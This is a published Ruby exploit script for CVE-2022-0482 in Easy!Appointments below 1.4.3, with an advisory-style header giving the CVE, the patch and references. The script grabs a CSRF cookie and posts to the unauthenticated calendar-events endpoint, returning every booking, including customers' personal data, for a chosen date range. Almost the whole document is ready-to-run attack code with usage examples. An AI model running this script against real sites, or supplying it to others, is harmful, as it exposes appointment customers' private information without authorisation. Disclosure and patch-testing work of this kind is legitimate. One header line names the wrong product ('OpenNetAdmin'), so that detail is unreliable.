Easy!Appointments Information Disclosure

`#!/usr/bin/env ruby  
  
# Exploit  
## Title: Easy!Appointments < 1.4.3 - Unauthenticated PII (events) disclosure  
## Exploit author: noraj (Alexandre ZANNI) for ACCEIS (https://www.acceis.fr)  
## Author website: https://pwn.by/noraj/  
## Exploit source: https://github.com/Acceis/exploit-CVE-2022-0482  
## Date: 2022-04-11  
## Vendor Homepage: https://easyappointments.org/  
## Software Link: https://github.com/alextselegidis/easyappointments/archive/refs/tags/1.4.2.tar.gz  
## Version: < 1.4.3 (it means up to 1.4.2)  
## Tested on: Easy!Appointments Version 1.3.2  
## References: https://www.exploit-db.com/exploits/FIXME  
  
# Vulnerability  
## Discoverer: Francesco CARLUCCI  
## Date: 2022-01-30  
## Discoverer website: https://carluc.ci/  
## Discovered on OpenNetAdmin 1.4.2  
## Title: Exposure of Private Personal Information to an Unauthorized Actor in alextselegidis/easyappointments  
## CVE: CVE-2022-0482  
## CWE: CWE-863  
## Patch: https://github.com/alextselegidis/easyappointments/commit/bb71c9773627dace180d862f2e258a20df84f887#diff-4c48e5652fb13f13d2a50b6fb5d7027321913c4f8775bb6d1e8f79492bdd796c  
## References:  
## - https://huntr.dev/bounties/2fe771ef-b615-45ef-9b4d-625978042e26/  
## - https://github.com/alextselegidis/easyappointments/tree/1.4.2  
## - https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/2022/CVE-2022-0482.yaml  
## - https://opencirt.com/hacking/securing-easy-appointments-cve-2022-0482/  
## - https://nvd.nist.gov/vuln/detail/CVE-2022-0482  
  
require 'date'  
require 'httpx'  
require 'docopt'  
  
doc = <<~DOCOPT  
Easy!Appointments < 1.4.3 - Unauthenticated PII (events) disclosure  
  
Source: https://github.com/Acceis/exploit-CVE-2022-0482  
  
Usage:  
#{__FILE__} <url> [<startDate> <endDate>] [--debug]  
#{__FILE__} -h | --help  
  
Options:  
<url> Root URL (base path) including HTTP scheme, port and root folder  
<startDate> All events since (default: 2015-01-11)  
<endDate> All events until (default: today)  
--debug Display arguments  
-h, --help Show this screen  
  
Examples:  
#{__FILE__} http://10.0.0.1  
#{__FILE__} https://10.0.0.1:4567/subdir 2022-04-01 2022-04-30  
DOCOPT  
  
def fetch_csrf(root_url, http)  
vuln_url = "#{root_url}/index.php"  
  
http.get(vuln_url)  
end  
  
def exploit(root_url, startDate, endDate, http)  
vuln_url = "#{root_url}/index.php/backend_api/ajax_get_calendar_events"  
  
params = {  
'csrfToken' => http.cookies.first.value, # csrfCookie  
'startDate' => startDate.nil? ? '2015-01-11' : startDate,  
'endDate' => endDate.nil? ? Date.today.to_s : endDate  
}  
  
http.post(vuln_url, form: params)  
end  
  
begin  
args = Docopt.docopt(doc)  
pp args if args['--debug']  
  
http = HTTPX.plugin(:cookies)  
fetch_csrf(args['<url>'], http)  
puts exploit(args['<url>'], args['<startDate>'], args['<endDate>'], http).body  
rescue Docopt::Exit => e  
puts e.message  
end  
`